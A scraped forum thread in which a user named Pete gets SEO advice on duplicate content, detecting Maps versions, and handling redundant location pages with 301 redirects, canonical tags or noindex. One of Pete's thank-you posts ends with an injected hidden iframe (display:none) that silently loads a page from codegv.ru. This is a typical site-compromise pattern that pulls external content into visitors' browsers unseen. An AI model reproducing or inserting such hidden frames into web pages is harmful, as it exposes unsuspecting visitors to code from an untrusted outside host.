Welcome to the Q&A Forum

Hi Pete, I'm sorry, but I'm not aware of a way to detect which version of Maps a user is using. Perhaps one of our community members will have experimented with this? If you don't get feedback on this here, I would recommend taking this conundrum to the Google Mapmaker forum: https://productforums.google.com/forum/#!forum/map-maker But I do hope you'll get further feedback from the community here.

Many Travis, A good detailed answer. thanks for your help ,  I will look at doing this. Pete

Many thanks Both That's what I was thinking. Will do. thanks again, Pete

Many thanks Trung. Thats exactly what I was thinking but just wanted to get another opinion. Many thanks Peter

No problem, Moz can highlight duplicate content for you. Run a crawl diagnostic and review the report.

Duplicate content isn't that big of a deal for ecommerce sites, especially the kind you're talking about. Backlinks are likely why the pages rank so poorly.

Good luck Pete!

Many thanks All. This has answered my query. Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>

Hi PeteC12, (1) I wouldn't 404 those pages. I'd 301 or canonicalize them.  Canonicalize if you want to keep the location pages live for useability. If you're set on or well down the path to remove redundant location pages, then 301 redirect. Even though there's no limit to the number of redirects you can create for a site, they can slow it down (because 301's trigger an extra HTTP request and cause latency). Given the size of your site, I'd recommend doing some analysis to figure out which pages actually have incoming links. If there's no evidence of incoming links, then I wouldn't bother 301ing them but rather monitor your analytics closely to put 301s in place only if page-not-found errors start showing up because of personal bookmarks. For performance reasons, I'd also be careful to eliminate any interim redirects. By that I mean, for example, if Liverpool-Suburb (A) points to Liverpool (B) and Liverpool (B) points to parent-carpet-cleaner (C), skip the middle step and redirect Liverpool-Suburb (A) directly to parent-carpet-cleaner (C). I'd also make sure my 404 page notes your redesign and explains that some pages have been removed from the site and point visitors to a user-friendly sitemap. Should you keep location pages that rank well but show no evidence of traffic (using keyword planner)? Don't rely on Google Planner. If you have analytics in place, look at actual page traffic to see how many organic entrances you're earning to these pages. Base your decision on that. Should you remove thin pages until you have time to flesh out the content a bit more? Well that problem may have been solved given it's been a few months since you asked the question. If not, and you're worried about penalties, noindex or 302 (temporarily redirect) rather than remove them. Sorry you had to wait 3 months to get an opinion. So many questions get answered, sometimes yours can get buried. I apologize if I'm too late.
